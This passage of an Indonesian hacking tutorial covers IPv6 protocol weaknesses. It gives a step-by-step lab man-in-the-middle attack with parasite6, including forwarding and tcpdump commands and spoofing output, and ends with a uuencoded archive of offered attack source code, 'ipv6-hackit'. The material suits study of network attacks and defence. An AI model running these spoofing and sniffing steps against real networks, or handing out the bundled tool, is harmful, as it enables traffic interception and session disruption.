- IPv6 Fragmentation attack, proses fragmentasi paket data dilakukan oleh source dan disusun ulang ketika sampai tujuan. Teknik fragmentasi pada IPv4 bisa digunakan untuk fragmentasi pada IPv6.
- Mobile IPv6 mengizinkan node node untuk berpindah jaringan namun menjaga koneksi TCP/UDP tetap tersambung. Implementasi protokol sudah aman karena IPSEC aktif. Tetapi semua implementasi mobile IPv6 mengizinkan untuk mendisable IPSEC. Jika IPSEC non-aktif, maka dengan menggunakan 'thc-ipv6/fake_mipv6' kita bisa mengalihkan traffic mobile IPv6 ke sembarang alamat tujuan.
- ICMP TCP attack masih bekerja sehingga memungkinkan kita untuk memutuskan TCP session. Misalnya untuk mengeksploitasi kerja BGP kita bisa memanfaatkan ICMPv6 error message.
Saya sangat menyarankan kepada anda untuk membaca presentasi Van Hauser agar melengkapi referensi exploitasi protokol IPv6 yang sudah tertulispada artikel ini.
--[8.5]-- Attacking IPv6 Protocol Vulnerability in Practice
Penjelasan IPv6 protocol vulnerability di atas dimaksudkan agar para
![Page 41: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/41.jpg)
pembaca mengerti benar konsep kelemahan protocol ini. Untuk memberikanilustrasi lebih lengkap, saya tambahkan pada artikel ini bagaimanamelakukan man in the middle dengan teknik pada 8.1.1. Tools yang sayagunakan adalah 'parasite6' yang terbendle dalam thc-ipv6 versi 0.7.
[Node A]----------------[switch]------------------[Node B]...........................|...........................|...........................|...........................|.......................[Attacker]
Pada skenario di atas, masing masing komputer memiliki alamat IPv6sebagai berikut:
Node A :ifconfig eth0 |grep inet6 inet6 addr: fe80::200:1cff:fedc:fb66/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5402/64 Scope:Global
Node B :ifconfig eth0 |grep inet6 inet6 addr: fe80::213:74ff:fe00:5c38/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5403/64 Scope:Global
Attacker :ifconfig eth0|grep inet6 inet6 addr: fe80::201:6cff:fe9e:e6ab/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5401/64 Scope:Global
Attacker melakukan percobaan sniffing pada komunikasi antara Node A danNode B. Untuk menyederhanakan pembahasan, saya melakukan sniffing ICMPv6Echo Request dari Node A ke Node B. Percobaan sniffing dilakukanmenggunakan tcpdump.
--[8.5.1]-- Sniffing Tanpa Man In The Middle
Attacker menjalankan tcpdump pada mesinnya dengan perintah linux sebagaiberikut:tcpdump -nnev icmp6 and src host 2010:05c0:1441:0a0a:8891:afaf:7660:5402
Attacker menunggu adanya paket yang melalui kartu jaringannya, Node A mengirim ICMPv6 Echo Request menggunakan ping6.
nodeA~> ping6 2010:5c0:1441:a0a:8891:afaf:7660:5403PING 2010:5c0:1441:a0a:8891:afaf:7660:5403(2010:5c0:1441:a0a:8891:afaf:7660:5403) 56 data bytes64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=1 ttl=64 time=3.76 ms64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=2 ttl=64 time=0.112 ms64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=3 ttl=64 time=0.109 ms64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=4 ttl=64 time=0.113 ms^C--- 2010:5c0:1441:a0a:8891:afaf:7660:5403 ping statistics ---
![Page 42: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/42.jpg)
4 packets transmitted, 4 received, 0% packet loss, time 3006msrtt min/avg/max/mdev = 0.109/1.023/3.760/1.580 ms
Ketika Node A mengirim ICMPv6 Echo Request, maka tcpdump attackermenerima paket sebagai berikut:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96bytes08:12:21.284158 00:00:1c:dc:fb:66 > 33:33:ff:60:54:03, ethertype IPv6(0x86dd), length 86: (hlim 255, next-header ICMPv6 (58) payload length:32) 2010:5c0:1441:a0a:8891:afaf:7660:5402 > ff02::1:ff60:5403: [icmp6sum ok] ICMP6, neighbor solicitation, length 32, who has2010:5c0:1441:a0a:8891:afaf:7660:5403 source link-address option (1), length 8 (1): 00:00:1c:dc:fb:66
Attacker menerima paket ICMP Neighbor Solicitation (ICMP tipe 135 / NS) yang dikirim ke alamat IPv6 multicast ff02::1ff60:5403: dan menanyakan"Siapa pemilik IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5403". Karena itubukan alamat IPv6 milik attacker, maka ICMP NS itu diabaikan. PaketICMPv6 Echo Request dari Node A tidak di deteksi oleh tcpdump karenapaket dari Node A langsung menuju Node B tanpa melalui kartu jaringanattacker.
--[8.5.1]-- Sniffing Dengan Man In The Middle
Hal pertama yang harus dilakukan adalah mengaktifkan IPv6 Forwarding.Kemudian attacker menjalankan parasite6 dan tcpdump pada mesinnya dengan perintah linux sebagai berikut:sysctl -w net.ipv6.conf.all.forwarding=1parasite6 eth0
kemudian attacker membuka shell linux lain dan mengetikkan:tcpdump -nnev icmp6 and src host 2010:05c0:1441:0a0a:8891:afaf:7660:5402
Attacker menunggu adanya paket yang melalui kartu jaringannya, Node Amengirim ICMPv6 Echo Request menggunakan ping6.
nodeA~> ping6 2010:5c0:1441:a0a:8891:afaf:7660:5403PING 2010:5c0:1441:a0a:8891:afaf:7660:5403(2010:5c0:1441:a0a:8891:afaf:7660:5403) 56 data bytes64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=1 ttl=64time=2.64 ms64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=2 ttl=64time=6.68 ms64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=3 ttl=64time=0.221 ms64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=4 ttl=64time=0.224 ms^C--- 2010:5c0:1441:a0a:8891:afaf:7660:5403 ping statistics ---4 packets transmitted, 4 received, 0% packet loss, time 3010msrtt min/avg/max/mdev = 0.221/2.445/6.688/2.642 ms
Ketika Node A mengirim ICMPv6 Echo Request, maka parasite6 attackermenampilkan pesan berikut:
![Page 43: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/43.jpg)
Remember to enable routing (ip_forwarding), you will denial serviceotherwise!Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end)...Spoofed packet to 2010:05c0:1441:0a0a:8891:afaf:7660:5402 as2010:05c0:1441:0a0a:8891:afaf:7660:5403Spoofed packet to fe80:0000:0000:0000:0201:6cff:fe9e:e6ab as2010:05c0:1441:0a0a:8891:afaf:7660:5402Spoofed packet to fe80:0000:0000:0000:0201:6cff:fe9e:e6ab as2010:05c0:1441:0a0a:8891:afaf:7660:5403Spoofed packet to fe80:0000:0000:0000:0213:74ff:fe00:5c38 asfe80:0000:0000:0000:0201:6cff:fe9e:e6abSpoofed packet to fe80:0000:0000:0000:0200:1cff:fedc:fb66 asfe80:0000:0000:0000:0201:6cff:fe9e:e6abSpoofed packet to fe80:0000:0000:0000:0201:6cff:fe9e:e6ab asfe80:0000:0000:0000:0213:74ff:fe00:5c38Spoofed packet to fe80:0000:0000:0000:0201:6cff:fe9e:e6ab asfe80:0000:0000:0000:0200:1cff:fedc:fb6
Sedangkan tcpdump mengcapture berbagai paket yang potongan capturetersebut adalah sebagai berikut:
08:27:07.259095 00:00:1c:dc:fb:66 > 33:33:ff:60:54:03, ethertype IPv6(0x86dd), length 86: (hlim 255, next-header ICMPv6 (58) payload length:32) 2010:5c0:1441:a0a:8891:afaf:7660:5402 > ff02::1:ff60:5403: [icmp6sum ok] ICMP6, neighbor solicitation, length 32, who has2010:5c0:1441:a0a:8891:afaf:7660:5403 source link-address option (1), length 8 (1): 00:00:1c:dc:fb:66
08:27:09.270171 00:01:6c:9e:e6:ab > 00:01:6c:9e:e6:ab, ethertype IPv6(0x86dd), length 86: (hlim 255, next-header ICMPv6 (58) payload length:32) 2010:5c0:1441:a0a:8891:afaf:7660:5402 > fe80::201:6cff:fe9e:e6ab:[icmp6 sum ok] ICMP6, neighbor advertisement, length 32, tgt is2010:5c0:1441:a0a:8891:afaf:7660:5402, Flags [solicited, override] destination link-address option (2), length 8 (1):00:01:6c:9e:e6:ab
08:27:10.266998 00:00:1c:dc:fb:66 > 00:01:6c:9e:e6:ab, ethertype IPv6(0x86dd), length 118: (hlim 64, next-header ICMPv6 (58) payload length:64) 2010:5c0:1441:a0a:8891:afaf:7660:5402 >2010:5c0:1441:a0a:8891:afaf:7660:5403: ICMP6, echo request, length 64,seq 4
08:27:10.267025 00:01:6c:9e:e6:ab > 00:13:74:00:5c:38, ethertype IPv6(0x86dd), length 118: (hlim 63, next-header ICMPv6 (58) payload length:64) 2010:5c0:1441:a0a:8891:afaf:7660:5402 >2010:5c0:1441:a0a:8891:afaf:7660:5403: ICMP6, echo request, length 64,seq 4
Attacker menerima paket ICMP Neighbor Solicitation (ICMP tipe 135 / NS)yang dikirim ke alamat IPv6 multicast ff02::1ff60:5403: dan menanyakan"Siapa pemilik IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5403". Parasite6menjawab bahwa dialah pemilik alamat IPv6 tersebut menggunakan ICMPv6Neighbor Advertisement (ICMP tipe 136 / NA ). Node A mengkonfirmasi ICMPNeighbor Advertisement ini.
Pada baris selanjutnya terlihat paket ICMPv6 Echo Request dari 2010:5c0:1441:a0a:8891:afaf:7660:5402 (Node A) menuju2010:5c0:1441:a0a:8891:afaf:7660:5403 (Node B). ICMPv6 dari Node A
![Page 44: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/44.jpg)
melalui kartu jaringan attacker terlebih dahulu untuk selanjutnyaditeruskan ke Node B. Man in the middle pada IPv6 telah berhasil, paketdata bisa di-sniff.
--[9]-- Close Word
A computer lets you make more mistakes faster than any invention inhuman history. How come that future internet is exploitable today?Let us not look forward in fear but arround in awareness!
Finally, i wish this article is nearly complete in explaining how toexploit IPv6 today.
--[10]-- Reference
[i] http://en.wikipedia.org/wiki/IPv6[ii] http://www.ietf.org/rfc/rfc2460.txt[iii] http://www.ietf.org/rfc/rfc3513.txt[iv] http://technet.microsoft.com/en-us/library/bb726997.aspx#ECAA[v] http://en.wikipedia.org/wiki/List_of_IPv6_tunnel_brokers[vi] http://www.ietf.org/rfc/rfc793.txt[vii] http://www.ietf.org/rfc/rfc3493.txt[viii] Joonbok Lee, KAIST, 2004.10.6, IPv6 Socket Programming[ix] http://search.cpan.org/~shlomif/IO-Socket-INET6-2.57/lib/IO/Socket/INET6.pm[x] http://www.packetlevel.ch/html/scapy/scapyipv6.html[xi] http://www.secdev.org/projects/scapy/build_your_own_tools.html[xii] http://www.phrack.com/issues.html?issue=49&id=14#article[xiii] http://milw0rm.com/papers/94[xiv] http://x82.inetcop.org/h0me/papers/FC_exploit/FC_exploit.txt[xv] http://freeworld.thc.org/papers/vh_thc-ipv6_attack.pdf[xvi] http://www.slideshare.net/mbynum/ipv6-fundamentals-presentation[xvii] http://www.milw0rm.com/papers/258
--[11]-- Source Code
begin 644 ipv6-hackit.tar.gzM'XL(`$Y[=DL``^P\_5O;.-+]]?Q73$UID]9);.<+0L-[;`F[O$L+#]"[]SG@MX1Q;(5X2.VL[$&[;^]O?&7TX=CZ`;BF]W4.[-+8T,QI)HYG12)8_NFJ4^HY[MZ2>59]\HF9B:]3K]6LVZE?U5Z9EE5:OU6I/^?V9:5M-L/H/ZMV(HF\9QXD0`MSYP@"6^#NZO\#YK\S/A[;!B6V&0T"!]6&+YH_&W,MVI5L_8T_H^1EHY_;YBPM2<,M)Y/D:^N@`6[4:LO&OV;7FNGX6PT;Q[]1J]K/P'R(!MZ5_LO'?\4/W,'8M8_`V3CP_+/<WM6E6P!*O.Y?EXU_%#_+Y\4U<B4/WDB64KZUXK(=P\./^\=;VM]B&8$W/-K#EFU81*)0Y&D1\DO4(12J5-"+N_>./A"$J'@$(7L^@J13_L*/2:M)?Y#=(A8,HX"<#PO8G$,20A]/X$@'$$\\)&9-UK<9X.!&WILRLG^SLY1YQB@MEN8<[?ZC`Y@LTZYIFMM',4CQ3LZ@#977!V&4=/W`@[]"#=/KBJ:?3JK5TXF[M?CKI6J<3JWDZ\;KXU\,_S&O63B<V_O7PKXOY#/]ZC.!U0G6]TTG=01*6^+4:MIQ.S.GU>(](VYB$ZPU^+4'L<U<+7=7QU$*1!8%BCC=0=1&W4Q5_-$34[:_CKM$!F.NHZU-K!&AQAT!*J'C%OX:V'9&CZ[6+M;%<]5S&=5CMK#&ERLM8Y_ZXC.ML'@-2?4:@D1O79!>=T6^0W]K')69HNE59&@-GUE-=%T5F>M2]S0$9UTL\S"OMB0U8MSFJ4Y]2KR'%)H*LV8+)*J+4D*R'[TTL<YNBO=VN0,4B"U^KV,YZ35"NM(1F/B=YO-D2[>YYHE$>U-@3#R!SK"<J\1_'=K.L;FH;""D/'#PKTX$07K@%<M7%[C\]7)65'[3=,`_%Z!RN`M5(OPFT:B)>5<_Q@[%ZP%JS'TPSB!$8K5::`;MP/'-L^(&AY9R;=+;9Z+(*^F.>ST6G9"TGAGPFA-H"TR+,B["Y*1*XOI;H2"XM*JI9]P;LHC&;6S0^4P74%-_`F7/1-V`07N,_+%`%@0$QMM$@EJZ<@<'GFBR/MDVCL)CS'#WHA_(0("/QZ"S-V,8,>=S>(?:*-?!74+'Z)\[B'B91^$38WP6H0M0:P<9L$(A$"+4T*E-N:O\?=8]JOH&@/TU7AUM;SJ35975[T7_2#W@MW\$OM(M-57H`:-`M99X'FHAHJR*L-<L/B!#-HQ9(BO!7&PX=H%\+QKP"B7'?&5`W;(Y
![Page 45: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/45.jpg)
M?)ZK!0C(YFG$QSW5,Z)]"(4=D`?G!9*%EZ*/32/V_\7"7H&_%GFE_+'L^.<]M9^@/;I#,UL[YQP]'!YUWN6+2S<G-B"'`T?Z[G\^/C@\[6^]Y)6*,L>"")6I4M"TJ^^*^-<B9Y@)=JG'GU*/,"_7G;+.9E_IT3!&&"U.-P<,7P]]<QBQ/F*;V-M'2'EGDW\I&`64['OA5%A:[>M*MK8VGW>_O!Q;V^#,G=+F]B<@$T261^R4(C;MPO849+'H#$.^J;:K]U$4)J$;#HK%MXKI*=NN$[Q*P(V8DS`05*><YG@E;NE?M-PP"YB:%6-&G!F:?<50E0LP"#^&DW&*^\5_>;&QUQ%@J=3G9FJK#S]KW=I/^MM.DV_Y]<L8=8`=SA_]N-ZM3_-QM-]/^;F/OD_S]&JKQ63G>C[`(ZN'F7GO1'M?)NG?X^5P;W6%6C\_.!B#G/@=W/KB8/]PV/0ZY3T-/.'CVBX_R'\^.G*86L;M\VRSMG:W__;;U*VAEI$Z.O>#!NJF<+C(Y4%;AEZ.$\3*7R)3SEVFV.9^E'*<M-K).W`DQ>):SZYR0B6C"KN-K4:J^7[E-'S@7,9GTW?.#K:.CW;]ULH49@[_[MH7/<R)0ML_8I@+(%"&`N=P+(^AC4Y0;G]"6V^"ZKWSD\W#]\GB$R8^:M5/%3MPZ3Y0KI9^P7J/;5@:4YJPR0;\=O%#,Q:L)FZ_1X4:%V'1BDES<U7[HT,&'KSMBVL@]*7T!SYZ.@%2K_.LZ[X_8%@LZ*",2(=/C#I)F3*4-KGVKLM&9%>A,".4MZ,3#2P)'-VQJ7:D;[(Q)1\.,,W',LL8:8:[&@X!%3A<YB>TBM-M0LE*<3.NBM*(Q:D($N9AT!)#\(8TY"9GU>9,B5I*1^PV<Q"S-DZ94:1JLG03BSVA%3^HSFMD>-AWHF8SV+VP(QO;@#-(8&BN)(`$IU/,D%"`5!)@>I/ZU`0"*R`TDB%JDA4M4K)2I.(&1230=1LZ"0@EEC;2'_C)#?19Q"0U[@;Q*O/T,C7*WJ5^>12_9ZG]MC^1#B7(;H\%7N`%WV?]JTU;VOV9;]6>F33[!D_U_C+3RO#*.HPIJL\J(10-MM!0YQO'$-T!'##]OX"GEA*(\&T+V!@[Y9#:S_T[1QS+CHN\D&?[YVH@#G`5K'M%7?D!+"[WVH=<87<:G%+Q:'F<BG0TBL\?[%U^./?<.E)NHG//GAA0AET>+M[M<-6`+;%ZW(2W%)S;1-V$,X?4C-`QO8+`-\^@_6\85@JGWIOB:7G!3V6N`C\&M6K'R:H0IFJ&^8EEKV/*$Q=,5//#X()LP%Q>Y8<!C.SQ8J*VP@``\N/:3/DS6M&I6X[U\ZB7-^X9P'C@_#N*<-;^#%E%8;*!!%83T*,'J>"'FI0&-W[72R3@&JMF@C,K;%LT%&',H_8U40X,1M*I'!CC<*)-1%N5,\48FP@+*M+9-L4M5+PK5['M&O&9K8E(&=5.G*UU10R/0H"VBY6DR#*HV>P)8*K)1/9L&?1T$;%+<4)J5DW$MU[HILB>BA.NV"'$2RQ2/-&W!A4.A3BQW31%P;5*PSI'(ZS7Q1^VI-2DL@^U;M%VWK83-<^FW*D&I7!$)K385LB]BK@[54NZ)&JIGRB<4F]7I5!"69(R*H/5<BM6_AB4R\3$`*8V#Z+PJBN>'9L46NW*H:N0<.ED"G02*RN-20`A3V[%'!<^;!_M`&L-(6M<1BBZW09BU]0188-G,E]F\E@K!4RIZWM$@<L5%L[-LM)FP*X+!XQ%M-).@O0EJPAAD@:B`)A85X-0HI+.1EVZ'Y$93F7(Z>?:Q/V3AF..0P\,KEU&PMMF"]G)7R,N<<M8.<?1(4IR"?;S(WYICE*5Y98(EB_5V?N9=P$XYEU![0_NI$M6DU_FM'9^<AI"_/Z@IR3[ZUY_S/24OM/2T(6"87_E3&`N^R_W:CE[3^6/NW_M/4[ZCUSN+USM\_6#]+I[<D\#R?`E#'^CC1#;-,_DBMT=W10H[D\PE*46..^/M?D2MM$KQ9P/+YT*-WS)<`(\>+X#;`@:9PJ>(P5/$0$4,`#)1>]O0N4/,UP%'MW"C`E5DVK=/@--*-JFVHM6N$+C#!D^[email protected])O&D[@U=XGDO"]M=>:?*67M?]S_-D<`O^S\%]E_NVH]G?]ZE#0S_JB&:UMQ_R%.?4W3'?Z?6:]:M&?^OR<__8?&3__<(:>4YC_W$?6T%COM^#%P"RG&?HB%H.Z]\BF!DHSU[^S_NM[.YUVGIMJX0J/XP\DA9<6Z&)/('2OT!_8>EPIB5]%FC`W'Z(.2:\]<3:D0S=MIJZ"*CU?TWIA!-O[[[=V/Z!O!/]T<2'WPOJGYH4*>]N_N*"XZ@L)5;AV_*2HMH[GP_`LH);"%295^NHC8B.>(I](5G&Y\<JXOX=5O<NEX0AR>(5?USZ\V'H((MG65Y(?ME`QE'U_6/8J2R\W]TD_3#X.%MP)?I?]035M6V[2?]_QAIP?C[L3/PMKUAC=/-`9N`._8^ZWLSH_P:=_T6;\*3_'R-EXO\LN`(A`F@+E!"41S>SEL"<MU+:;MMVQS5JML=/H<,M!KCT!#D//[_D(2(N.%A6-DS#R<:$8!A(LAH,HO(B<MX9"4.@^.'_!JB?@'VDD+X+V3#,)>#U["3N0$+A+^*1[CRGS(PWGQ36R$L1$QM(_&'^`\GB\0TS1TX,7*+SXU"FET6]19;FB@A$X2KII,S#9?YDT0RU0;+A)7=M@,Y`Q<190N8P&`^[N.+!IRXUT&,.M(IHF*X"(C&MHG/%@J2`)0/W,E>PARLQMS$<SPWIP?NX'?G)^7HC9H&>X06+X(V(+9GDMYR#%\4)\*/.`KS]2KRB[R9A8M+UDJRPW'G#4D+BN-QH&@TN*'+2]ZN+1$@'"$ZTT]'6<LT`W=T8L4*O$#8Q2.M$V/$(@KAAG%Y1.#5@LX[$$JN#:483-#?2+8,/5*H9;&DHS=WZ/&X,!"U,C5LMX`<LYF7^14@E$2O'S(G<?D%7>RLD.KHA<"GT+);?!$\MD'LVN-`M3!M<?*-#M"VB7^-U/G>VS*5^:6)BBER).6-X'YPW%H0E1=E;Y.O(35A!DB!LVB-E=K'S8M/X:%["BBTUX"T6\7.`CN9=EQ?QW[D2@1N:G08@\.PRLF1E/T"IT8G8'B>_LBM;RK>)4LPS+-)>LL44"K.Y+D#'(I,S<1/Q#"3<RK$*6#7@F:!-]?H8XVMY2U`M:9'<9.`7-,T9C2C>@/#+JN?$2.0CSGC*!Q]8)_'=(4,MXA72`N28&.:A/&)1M=A=JCS)%\HKPO&VW5&00Q"%M'#JA`T&'-P`*EC84WJ1[D'ND0'9P$,F1Y3!IM=$*CR3(.4,PO9R974>TVDLXJN_0O;P8I'N0M&/&)PF=E6JMU)N<5^<C\Y#=ZMR!QT>8\O$XK->:'(B,1L5V>E@MSM0E[N%P\/SYW*1V`0R^6(@KVC0I%`@C=MM2Q/-(6A41-B@&595TW"._!+2T&F+>TX.VW&8H'7YB3KGR'6"`&U/"U9]?;40M%&E#&)5NX`S9^3E-BU?GYR0.Y^>O6IH4#$VM?/C>%/[&X9!=]W$5TAU?7-S`M-:YC($)5Q.A+$US5P#C`YKE].L6"4IA<A]'E'\7=GTL+_+_$'<78D8_E_UEF
![Page 46: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/46.jpg)
MO5F=\_\:3^O_1TD+_3](7;KX47VZJ1MDR$`_;8P8%),(1_C,O3U4L,K/B_E\MCQ9Z>DGJY<&,FU<W-4Y)>";5W^',+?#EJ`U<W=W'G5.^&F]XFV]1JRSY>0_]MW,=]4W-UZKYMY#9*RG*_1+ZEN_;R/;/58YB<+7(+9.<49/>6Y3N5)]$--P!QM61W_+Z1L&]-&%8M3[T@_V3_H?$A](()\PW?F,4,Y3ASGC4ZJ1\]Y;%^(?(??M1FRG7A>;T*9)*\OHN[W]H\X7<3KOS*E.FS7+:6?>XLCE8+@;IW+F'#E5D'?EM<KE39R[+TW)W;A2DOMSR1D#*DX*?:YOTY&)W>=64_SL\.3^^0H?*:Q0\P:=<M0GP(`Z8M6$^T=,/C#,K5`^DR@IWZ?!X?X>RY+_EQ4LZOD[6/R3_DCJ24%QVAMCM\="$3A>T0:2#=2@Y-2J<\&HT_],_A+2;@8],X+L.FHU#Z5DC,JXB\0"X<HMRP:']8,2R=BGDI\!YMHM[.6@R9<B2(Y%@OJI-,J@4$X9WH\'B3_">N@552@;M.9&3B)6]&PZ'#L=&!7V!-489=)XEB70FZ&-9IEFR352FU!%33YN[UBV4KBN?M7+5T?*3>$B]#4;MZC?*O&1<ZI^!(9J4&0GL0\^\G8[$#C>]E\<,9,$#O)RV_M-6I%*`5PHE//HX(4_=[&)]FK]$B5TR]O85NG!>=4.<A1S\N#FK#$!9^GYE)0MX>R&R"L-#R&TQ(0/Z;V@E_I8LY`4G<^]#)E<E>A]9[`2CB6:(_'2_B9EY<QAM^!Q#-ENBR#%9C##B"-0Y$CH=M,7P$8?GG2@1H@4(<@6!YINA\=MQ,`,':QSTMG<`;H!AB#_DAJG'12;)-6,9YS6KKSN'A<R@E%=4+@&+"YW$7/?18';LL^96TMT<]!G^M4K$,VB^H0#,_7,JJ(CEA21U21[9ZO(=<,J6B4#IKJ,U'.H3,<S8)#MT#:GYPIF5D/4IX.!ZG!!H1R/!LC%*^.5`.#++FH&#I@"%I27:GQ89IPV%QDGM26RIUL^6Y9>6D)&-VPFHHJGAHG.*W"X;JA\YH%QKRG:CZ<)6YQJ1-EVM,T&>M?)!COX,^6]P7..36"C<@H`"/'*!`*6WR%?0E8R-/4V2E3E:$/1M]]5!'N:$NM+1AJ+IJ\EQ0:?7-NY#*LLV+Q212FHO`-Y&!6#(1JX"IX=OA[RL&G4A5:Y:$BM+A43];"X$FJCQT2PJ"=:=HM2N5MMW*8W;I.6WR,NM\K+<H')2<R]9&Z1S%"GMY<)5>=FY0WAFI>>6V7WW_/V:"?PT)DO'9(*(D#'O]YG:(F]">32]^=I@T<R;MC37J*M:HJUCC-*[;0B?S>X=^>,K&_Q+LZF]Q`NS+]O\I_F<W&D_[_X^2YL8_M)+EOE.*;X+'V_RVS6ILY_]4P[>93_/<QTK+]?_X-$/_&AN'J-94).@X@/FI;M=!!@&LKERG!VLZTZ#9W<?Z]MYGL_5+[Y_;:5(]=!IJY8%..Z$6P(&'*7X*)4M,$,Q:]+O*,UH*[7\JP)ZK8W:<605J$8*+K4S.W#%RO&[@X+'@P1DEM(B&TTPM/W'?UH]T=#A9U`UCUC8-&2]MV[2W=!S=D&'IA1"':`6"&VXT8CC:`G%<'Y>`M8^X!6FO4::.R/,7?Q@R8]I@*A-*]0E/F>$?)#LPPIDG3FPML5G9V#SM_W]K;M.[LGD>\MFT_IVZ<E^O]![GU4Z<[OOVKFC/ZOHPOPI/\?(RW\_.JNS[1F/_#ZMXF_$%G]JEGXGIE5>:T(.R^Z=I\]R>_>X2AC1%6.!E]^UA/\-PZ`;7L(>8]H!M&A06T$8#*CVG2_N`(H3/FY#=R=1>5^[U.1@_!;3DPKQ[WY<G[P]$.RD^S,E=M'@C\]L"WV7!_YA/XF9L$I[=U?=;NOD/N]BOD[G&#W%=<(#?W7=B7WAZ7;:KVM15>H8=6Y:]/:;;4[*KK_02Y8N]?U:MG+U?AU+6[[_I>K(9MN>^ZC.NDMH,B@MB(MO'6<&1%9'CL(,ZHRS<`\BVD)"J_'B&Q44D;NO@/NL??[>^O'/GI;8_Z^ZM[V4VW?7]3\.:_?ZG;IM/Y[\?)<W?_[)@Y4<7OBQ?]3W^+2^_]W*+_/46B@59M-'^W17&#WR<33WE4>C6]9`(5HR+#>51J<,G"ZQ;$[S3^V?E/UU^][SQ\';?.M?[M1KT[GOVU7JQ3_JS=J3_/_,9)=@Y_"<13#%FP[-P943;-BV:8)/SAC3WG*M<;E<UG">/T#2CO=_[AQ#"8Y9U/43U!O[=-*#P<_,#9U+Z`S891*%@7^I;;,>M"SSQ)08#?N+/=]'/)&EER/&0+EZ*<?7`P%I?KVO:P;@[\.,^JJT6])-DU*I4MKJ^ORY><<HFEE,NXT-#>A;@"0+\<$!A%H-?[ZV*X!VFTIAV-N[\P69V\6HM:MMC-.QA%JR2!A$=:&_4*M=G@9*4+M[W2$+0*.)S_!A(*XKN)_BO=NQ%%R,V`@MJ'P,?+Y:.HZ<(!87U]$Z:$=<85?X>+Q36BLBQZ42ZJ92:7Y@8,]W61`S39LOMBIGK1`XXEPGM..+PC2_'V)0?*,1UZ'>[6-$[9SAR_(N@K/V,'B&"[email protected]_Y^]:V]NVTCR?VL^Q:3V=F5M1(@`P6<L9Q5+CIUU9*TD)[>72E(@`9(0`8+!M0[*J7/?9KW\],WCP(<MV[FYK*TI*AC`SW3T]W3W=/0]X<T\6R[Q8H"%+!XJRM("ZP=88IS4)Y[Q&\!;=<SF;>2JR\G`(X/Z19P)L7X:$<>T2(GRP*`B/S8,'[MA'(JCRB,N_$B;TXO<J^069%2CQ?>V$LM<15$15K,Y2(-_#!79/DA$1;B:1&LM/-^3&9"O@N7,PY*<M8T#>>C3"VJ7@SYT_L:[\\;`F%'ATF?("=K+B"8<2[QJM]LT/,^\F5.A)O'&^)UQ2;WU0KAF4%S<%5<`^N]!'7>%[RXI)1$A$)$2$RI+?M43D"8@^1((E;!M`EGV<!R",IFBLHD1=32R[U5MZJ6*ZS/D>B-5ZMD7?(&$0,MG`40<'>):T#(HTB4IE0-="H690$S`2BR`)Q0(#[$.>`/QD5.S#\-5R`F8MIKM7?+B,?6?:GFS4)%2``4/K^^E(84EH1$)4<E37LJ<#R!`E7LK0*3H+2]BE@,MM'2"IE`-F_C9=(`*\$/48,LWYL'26/-'2J(=[4>3A2C"5?JAH5QSR:00@V=1+M8H=7=9+X&N#&#A"Y2&)F@J54UH'*DCE)$[^80+&%^&<`B4=XM6!C&D816U0:MDB\D[,OF6^1/\$>,;<@J1TXLP'WY\!0VJ@O!3AL14JR83(Z$%TF$Q(@R;-S7MK/!)A.."1ANGKG6?F,VAA(C-14JB`-N1$9_))['D!?3NALP=67XR72R,Y(C>M$G"[+5^>6O+[)"$32L*ME540<VX(3,:PESGK;)ID02;UY5809E!LR6\":D1LMEEI6(!XB+V@:87T*`1;M6:PFA60K8,I?GFK<9J13LMTIF48"H?ITX_$89:RZM=;!C5A)>M)`Y#'&$Q``+IZXF2D&75\RV.=G-,)4="3,'F/<>S,PB(,Y4,LL#M`7E$IYCI`,0P85EJEH3%E]2=ARL<>[Y6\%@/$OV&929:).GU\@855C2O+&<+
![Page 47: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/47.jpg)
